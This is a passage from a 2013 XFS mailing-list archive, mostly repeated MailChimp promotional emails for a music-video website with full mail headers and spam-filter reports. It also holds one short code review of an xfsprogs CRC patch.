    --_----------=_MCPart_1104166906-- From bounce-mc.us7_18889475.80773-linux-xfs=oss.sgi.com@mail41.wdc03.rsgsv.net Tue Jul 23 13:45:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9BFF17F51 for ; Tue, 23 Jul 2013 13:45:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E047DAC006 for ; Tue, 23 Jul 2013 11:45:28 -0700 (PDT) X-ASG-Debug-ID: 1374605123-04cb6c2a47106ba80001-w1Z2WR Received: from mail41.wdc03.rsgsv.net (mail41.wdc03.rsgsv.net [205.201.131.41]) by cuda.sgi.com with ESMTP id kgcEeRzUrqpBZi6F for ; Tue, 23 Jul 2013 11:45:23 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80773-linux-xfs=oss.sgi.com@mail41.wdc03.rsgsv.net X-Barracuda-Apparent-Source-IP: 205.201.131.41 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail41.wdc03.rsgsv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3Dthedailyrocker.com@mail41.wdc03.rsgsv.net; bh=vF6j+BC0u5n2Glyq2gXcciAWGlQ=; b=tPFccqYKIYbpy+Q0Dnh+I3o/LHCu1Uj9Gc0Gr1sqcU0uAwSMvAzbJfBohYcGcjY/mHiSJiMbaHMy ZuaztqeloiAFwwk5xwTP/UgEpZCgYplW+ReZOq9k5xwW8fDVlKf+4reAc8f7O3vsz5P3xxP5tqFE 4hRaoBkffpyJEX4jNCc= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail41.wdc03.rsgsv.net; b=ITCiV7AhBjBzkv1iYah9BimmTaS9at/aO72alvzQ86X5JxCDtAJNImqodk3xhafS0/4BguwjjRv4 yLjI5oo/7OeCujgKCuVxuEqb1xNZJRnQXjvaAWYmg7pifg/Wq8PoRz9/KqGSNuUsaLJDg04rxtWB d6qev2TrSzugv8qgdBE=; Received: from (127.0.0.1) by mail41.wdc03.rsgsv.net (PowerMTA(TM) v3.5r16) id htr7kc1jvlo8 for ; Tue, 23 Jul 2013 18:45:20 +0000 (envelope-from ) Subject: =?utf-8?Q?New=20music=20video=20site=20reaching=20out?= From: =?utf-8?Q?THe=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?New=20music=20video=20site=20reaching=20out?= Reply-To: =?utf-8?Q?THe=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 18:45:20 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDffcc81cf216e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.ffcc81cf21 X-campaignid: mailchimpcff25387938a97b0fd838f920.ffcc81cf21 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=ffcc81cf21&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "THe Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_1104166906" MIME-Version: 1.0 X-Barracuda-Connect: mail41.wdc03.rsgsv.net[205.201.131.41] X-Barracuda-Start-Time: 1374605123 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_1104166906 Content-Type: text/plain; charset="us-ascii"; We just launched the first site to feature JUST music videos! View this email in your browser (http://us7.campaign-archive2.com/?u=cff25387938a97b0fd838f920&id=ffcc81cf21&e=6e97603da8) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ http://www.thedailyrocker.com ** No digging through crappy concert footage. No interviews or lame news segments interrupting the music. Just Music Videos. Everyday. Every genre. Dig it. ------------------------------------------------------------ Artists and labels, we DO want to hear from you. Hit the about page for submission info. Today The Daily Rocker launches with - * No digging through interviews and crappy concert footage. Just music videos twenty four hours a day seven days a week. * The ability to chat with facebook friends while watching music videos uninterrupted * Hours of daily music video programming, hand picked and compiled by real humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRONIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female artists with bold voices * Thousands of Artist Stations that automatically send users from one like minded artist to the next, allowing them to watch videos all day while getting stuff done * New music videos added daily with constantly rotating playlists allow users to keep up with current music while hearing their favorite tunes ============================================================ ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage.com/unsubscribe?u=cff25387938a97b0fd838f920&id=c67736b492&e=6e97603da8&c=ffcc81cf21) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.com/profile?u=cff25387938a97b0fd838f920&id=c67736b492&e=6e97603da8) --_----------=_MCPart_1104166906 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable New music video site reaching out
    =09
    We just launched the first site to feature JUS= T music videos!
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop http://www.thedailyrocker.com

    =09No digging through crappy concert foot= age. No interviews or lame news segments interrupting the music. Just Musi= c Videos. Everyday. Every genre. Dig it.


    =09Artists and labels, we DO want to hear from you. Hit the about page for= submission info. 
    =09
    =09
    =09Today The Daily Rocker launches with - 

      =09
    • =09=09No digging through interviews and crappy concert footage. Just music= videos twenty four hours a day seven days a week.
    • =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes
    =09 
    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this because you opted in for our music promotions.

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this li= st    update subscription preferences 

    --_----------=_MCPart_1104166906-- From bpm@sgi.com Tue Jul 23 13:52:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 987577F3F for ; Tue, 23 Jul 2013 13:52:28 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 633C98F8040; Tue, 23 Jul 2013 11:52:28 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 337204266DC; Tue, 23 Jul 2013 13:52:28 -0500 (CDT) Date: Tue, 23 Jul 2013 13:52:28 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/48] xfsprogs: add crc format chagnes to ag headers Message-ID: <20130723185228.GJ3111@sgi.com> References: <1370564771-4929-1-git-send-email-david@fromorbit.com> <1370564771-4929-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1370564771-4929-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 07, 2013 at 10:25:27AM +1000, Dave Chinner wrote: > From: Dave Chinner This corresponds with commits 4e0e6040c405, 77c95bba013, and 983d09ffe3. > diff --git a/include/xfs_ag.h b/include/xfs_ag.h > index f2aeedb..1e0fa34 100644 > --- a/include/xfs_ag.h > +++ b/include/xfs_ag.h ... > @@ -83,6 +101,7 @@ typedef struct xfs_agf { > #define XFS_AGF_FREEBLKS 0x00000200 > #define XFS_AGF_LONGEST 0x00000400 > #define XFS_AGF_BTREEBLKS 0x00000800 > +#define XFS_AGF_UUID 0x00001000 > #define XFS_AGF_NUM_BITS 12 ^^ Should be 13 now. s/chagnes/changes in the subject line. Reviewed-by: Ben Myers From bounce-mc.us7_18889475.80805-linux-xfs=oss.sgi.com@mail323.us3.mcdlv.net Tue Jul 23 13:56:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 921667F3F for ; Tue, 23 Jul 2013 13:56:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 36FCFAC00A for ; Tue, 23 Jul 2013 11:56:42 -0700 (PDT) X-ASG-Debug-ID: 1374605799-04bdf0245b3257e0001-w1Z2WR Received: from mail323.us3.mcdlv.net (mail323.us3.mcdlv.net [173.231.177.67]) by cuda.sgi.com with ESMTP id yKqh3yqcAJ7saDmA for ; Tue, 23 Jul 2013 11:56:39 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80805-linux-xfs=oss.sgi.com@mail323.us3.mcdlv.net X-Barracuda-Apparent-Source-IP: 173.231.177.67 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail323.us3.mcdlv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=pr=3Dthedailyrocker.com@mail323.us3.mcdlv.net; bh=N2+3TVgBwxzlJLqsn3JCbOH9oYE=; b=u5EX/zB8RzJ3byRVGMFfP4lxkXobPKOfPbA/Yu0vhr3bUAF5S0B5u/9jzaW9Oz9mh+GpGIGUU+pc RRn88di67hUIL64Gf9kDl9cPd4sjNziSe2KMsjx1dJ/4zPKDRYPJ14kfdqtHaTmmsioCH7nfxp6n mfbqKtmBObt6UB7jk7s= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail323.us3.mcdlv.net; b=nPIgSIKjkAUM59idqAXixWKf2wZojE1uGip/FdR8uL+n/r3cjQ0SNWnYw5LW0BZcZmLuDHFdMtMH DELVqoavRemreqQA8MUsjbU5ek7Qr+uzwLCzu5i5n2poxK4LSrhSoydBk6bkSkQ51pDFsmqPuhFd 1+k+4yv5/rs0AqtqnWg=; Received: from (127.0.0.1) by mail323.us3.mcdlv.net id htr80o14i04k for ; Tue, 23 Jul 2013 18:45:40 +0000 (envelope-from ) Subject: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= From: =?utf-8?Q?Music=20Video=20News?= X-ASG-Orig-Subj: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= Reply-To: =?utf-8?Q?Music=20Video=20News?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 18:45:40 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDc749d5a6586e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.c749d5a658 X-campaignid: mailchimpcff25387938a97b0fd838f920.c749d5a658 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=c749d5a658&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "Music Video News" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_1741299820" MIME-Version: 1.0 X-Barracuda-Connect: mail323.us3.mcdlv.net[173.231.177.67] X-Barracuda-Start-Time: 1374605799 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_1741299820 Content-Type: text/plain; charset="us-ascii"; New music video site launches with thousands of stations and facebook chat View this email in your browser (http://us7.campaign-archive2.com/?u=cff25387938a97b0fd838f920&id=c749d5a658&e=6e97603da8) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ ** No digging through crappy concert footage. No interviews or lame news segments interrupting the music. Just Music Videos. Everyday. Every genre. Dig it. ------------------------------------------------------------ http://www.thedailyrocker.com Los Angeles, CA - This morning, the new music video site The Daily Rocker whimsically launched with "Internet Killed The Video Star" kicking off a major site that features - * The ability to chat with facebook friends while watching music videos uninterrupted * Hours of daily music video programming, hand picked and compiled by real humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRONIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female artists with bold voices * Thousands of Artist Stations that automatically send users from one like minded artist to the next, allowing them to watch videos all day while getting stuff done * New music videos added daily with constantly rotating playlists allow users to keep up with current music while hearing their favorite tunes ============================================================ ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage1.com/unsubscribe?u=cff25387938a97b0fd838f920&id=9052594378&e=6e97603da8&c=c749d5a658) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.com/profile?u=cff25387938a97b0fd838f920&id=9052594378&e=6e97603da8) --_----------=_MCPart_1741299820 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Finally a site that has JUST MUSIC VIDEOS
    =09
    New music video site launches with thousands o= f stations and facebook chat
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop

    =09No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it.

    =09http://www.thedailyrocker.com
    =09
    =09Los Angeles, CA - This morning, the new music video site The Daily Rock= er whimsically launched with "Internet Killed The Video Star" kicking off= a major site that features -

      =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes

    =09 

    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this email because you opted in to our music marketi= ng efforts

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this l= ist    update subscription preferences 

    --_----------=_MCPart_1741299820-- From bounce-mc.us7_18889475.80805-xfs=oss.sgi.com@mail323.us3.mcdlv.net Tue Jul 23 13:56:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 999607F3F for ; Tue, 23 Jul 2013 13:56:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5CC25304062 for ; Tue, 23 Jul 2013 11:56:43 -0700 (PDT) X-ASG-Debug-ID: 1374605799-04bdf0245b3257e0002-NocioJ Received: from mail323.us3.mcdlv.net (mail323.us3.mcdlv.net [173.231.177.67]) by cuda.sgi.com with ESMTP id 5lHFlD76yveIc1nC for ; Tue, 23 Jul 2013 11:56:40 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80805-xfs=oss.sgi.com@mail323.us3.mcdlv.net X-Barracuda-Apparent-Source-IP: 173.231.177.67 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail323.us3.mcdlv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=pr=3Dthedailyrocker.com@mail323.us3.mcdlv.net; bh=mWcsqyAOoFDgh/dZSppSacN+y6w=; b=kyA8o0agQiTXjdsgh6t0UeACsERCX5yUvXGTMM6OZzeGbd0MjYIIyJ71OKZlS3y/9J7idE3E6hHE 918v5kbEnSOvkN7y6uvj4xkT+RfCd+7jEGsZPjtZb+b65O/hUaOStZdYEK0WPXp+m4sK6hmD7B4P WDu0fNfEtvnQaUkJghk= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail323.us3.mcdlv.net; b=azJlNSxrt9P/hHIPksiPxzTwtThenwcHFaQ6d+iYO2FktTTFq5flTOv5goEjeuw4Pnqlgi1UGQZb tEBXajGYfRe20sBb4w//Q44YEouEreMy1ZRONVra7v0LmkqquBiAcDZGtHLKUEjM0B2M4GseMgAJ vMK7vMxd0+qpkpA+Z3A=; Received: from (127.0.0.1) by mail323.us3.mcdlv.net id htr80q14i04m for ; Tue, 23 Jul 2013 18:45:40 +0000 (envelope-from ) Subject: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= From: =?utf-8?Q?Music=20Video=20News?= X-ASG-Orig-Subj: =?utf-8?Q?Finally=20a=20site=20that=20has=20JUST=20MUSIC=20VIDEOS?= Reply-To: =?utf-8?Q?Music=20Video=20News?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 18:45:40 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CIDc749d5a65895f7364ac1** X-Campaign: mailchimpcff25387938a97b0fd838f920.c749d5a658 X-campaignid: mailchimpcff25387938a97b0fd838f920.c749d5a658 X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=c749d5a658&e=95f7364ac1 x-accounttype: pd List-Unsubscribe: , Sender: "Music Video News" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_1741299820" MIME-Version: 1.0 X-Barracuda-Connect: mail323.us3.mcdlv.net[173.231.177.67] X-Barracuda-Start-Time: 1374605800 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_1741299820 Content-Type: text/plain; charset="us-ascii"; New music video site launches with thousands of stations and facebook chat View this email in your browser (http://us7.campaign-archive2.com/?u=cff25387938a97b0fd838f920&id=c749d5a658&e=95f7364ac1) ** Finally A Music Video Site That Features JUST Music Videos Non-Stop ------------------------------------------------------------ ** No digging through crappy concert footage. No interviews or lame news segments interrupting the music. Just Music Videos. Everyday. Every genre. Dig it. ------------------------------------------------------------ http://www.thedailyrocker.com Los Angeles, CA - This morning, the new music video site The Daily Rocker whimsically launched with "Internet Killed The Video Star" kicking off a major site that features - * The ability to chat with facebook friends while watching music videos uninterrupted * Hours of daily music video programming, hand picked and compiled by real humans, not computers * The Daily Top Ten Music Videos based on charts, ticket sales, downloads and buzz * Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELECTRONIC, COUNTRY and several cross over formats (all genres in one station) * Task based stations to keep the user motivated while studying, cleaning the house or trying to make out with someone * Other sub-genres include music by era and a station devoted to female artists with bold voices * Thousands of Artist Stations that automatically send users from one like minded artist to the next, allowing them to watch videos all day while getting stuff done * New music videos added daily with constantly rotating playlists allow users to keep up with current music while hearing their favorite tunes ============================================================ ** unsubscribe from this list (http://TheDailyRocker.us7.list-manage1.com/unsubscribe?u=cff25387938a97b0fd838f920&id=9052594378&e=95f7364ac1&c=c749d5a658) ** update subscription preferences (http://TheDailyRocker.us7.list-manage.com/profile?u=cff25387938a97b0fd838f920&id=9052594378&e=95f7364ac1) --_----------=_MCPart_1741299820 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable Finally a site that has JUST MUSIC VIDEOS
    =09
    New music video site launches with thousands o= f stations and facebook chat
    View this email in your browser

    =09Finally A Music Video Site That Features JUST Music Videos Non-Stop

    =09No digging through crappy concert footage. No interviews or lame news s= egments interrupting the music. Just Music Videos. Everyday. Every genre.= Dig it.

    =09http://www.thedailyrocker.com
    =09
    =09Los Angeles, CA - This morning, the new music video site The Daily Rock= er whimsically launched with "Internet Killed The Video Star" kicking off= a major site that features -

      =09
    • =09=09The ability to chat with facebook friends while watching music video= s uninterrupted
    • =09
    • =09=09Hours of daily music video programming, hand picked and compiled by= real humans, not computers
    • =09
    • =09=09The Daily Top Ten Music Videos based on charts, ticket sales, downlo= ads and buzz
    • =09
    • =09=09Daily Genre Stations for ROCK, RAP, POP, REGGE, PUNK, CHRISTIAN, ELE= CTRONIC, COUNTRY and several cross over formats (all genres in one station= )
    • =09
    • =09=09Task based stations to keep the user motivated while studying, clean= ing the house or trying to make out with someone
    • =09
    • =09=09Other sub-genres include music by era and a station devoted to femal= e artists with bold voices
    • =09
    • =09=09Thousands of Artist Stations that automatically send users from one= like minded artist to the next, allowing them to watch videos all day whi= le getting stuff done
    • =09
    • =09=09New music videos added daily with constantly rotating playlists allo= w users to keep up with current music while hearing their favorite tunes

    =09 

    Copyright =C2=A9 2013 The Daily Rocker, Al= l rights reserved.
    You are receiving this email because you opted in to our music marketi= ng efforts

    Our mailing address is:
    The Daily Rocker
    Los Angeles
    Los Angeles, CA 90014

    Add us to your address book

    unsubscribe from this l= ist    update subscription preferences 

    --_----------=_MCPart_1741299820-- From bounce-mc.us7_18889475.80821-linux-xfs=oss.sgi.com@mail323.us3.mcdlv.net Tue Jul 23 13:56:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5C0827F5A for ; Tue, 23 Jul 2013 13:56:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EADDBAC00A for ; Tue, 23 Jul 2013 11:56:44 -0700 (PDT) X-ASG-Debug-ID: 1374605799-04bdf0245b3257e0003-w1Z2WR Received: from mail323.us3.mcdlv.net (mail323.us3.mcdlv.net [173.231.177.67]) by cuda.sgi.com with ESMTP id 48Hd0qzYtDRC5GBX for ; Tue, 23 Jul 2013 11:56:42 -0700 (PDT) X-Barracuda-Envelope-From: bounce-mc.us7_18889475.80821-linux-xfs=oss.sgi.com@mail323.us3.mcdlv.net X-Barracuda-Apparent-Source-IP: 173.231.177.67 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail323.us3.mcdlv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=info=3DTheDailyRocker.com@mail323.us3.mcdlv.net; bh=eymeRc4/m+mit1cGLqxycipJpfQ=; b=xg2V7pmhSKOIMicO4CpLThC60OChsnj/Dfc4HE8NU/79VN3tCXVQDTFd2PUz7VNDMrgfEJMHEP7L Tsbq+WPUerDVA40tVdQ8J+adQjhlSLHzEaoQ7txOUbSwozGsEFOFHR+hp/pmPXV+D5OnIjbCC5xl KeUPRpUE3bOftOex62I= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail323.us3.mcdlv.net; b=M29Ye4ZpsJ2ynd2T1M3HwEHYjwNO6nhNRx0fJibbRME+xaHGe4bmkdlaKjtsME8sZtq4uHfUgxqv JV6gsdPLxEeYQ4k+x1tMJ18WmRcGCrjr0J23SAYQxSXF4TWZRDrDZMw4LWrx/5/oiGqZap2MvWPu xUd3V06zjLmQ1QoOIXY=; Received: from (127.0.0.1) by mail323.us3.mcdlv.net id htr80u14i04i for ; Tue, 23 Jul 2013 18:47:57 +0000 (envelope-from ) Subject: =?utf-8?Q?New=20Music=20Video=20Website?= From: =?utf-8?Q?The=20Daily=20Rocker?= X-ASG-Orig-Subj: =?utf-8?Q?New=20Music=20Video=20Website?= Reply-To: =?utf-8?Q?The=20Daily=20Rocker?= To: =?utf-8?Q??= Date: Tue, 23 Jul 2013 18:47:57 +0000 Message-ID: X-Mailer: MailChimp Mailer - **CID25ecb7fdee6e97603da8** X-Campaign: mailchimpcff25387938a97b0fd838f920.25ecb7fdee X-campaignid: mailchimpcff25387938a97b0fd838f920.25ecb7fdee X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=cff25387938a97b0fd838f920&id=25ecb7fdee&e=6e97603da8 x-accounttype: pd List-Unsubscribe: , Sender: "The Daily Rocker" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_779735848" MIME-Version: 1.0 X-Barracuda-Connect: mail323.us3.mcdlv.net[173.231.177.67] X-Barracuda-Start-Time: 1374605801 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.62 X-Barracuda-Spam-Status: No, SCORE=1.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 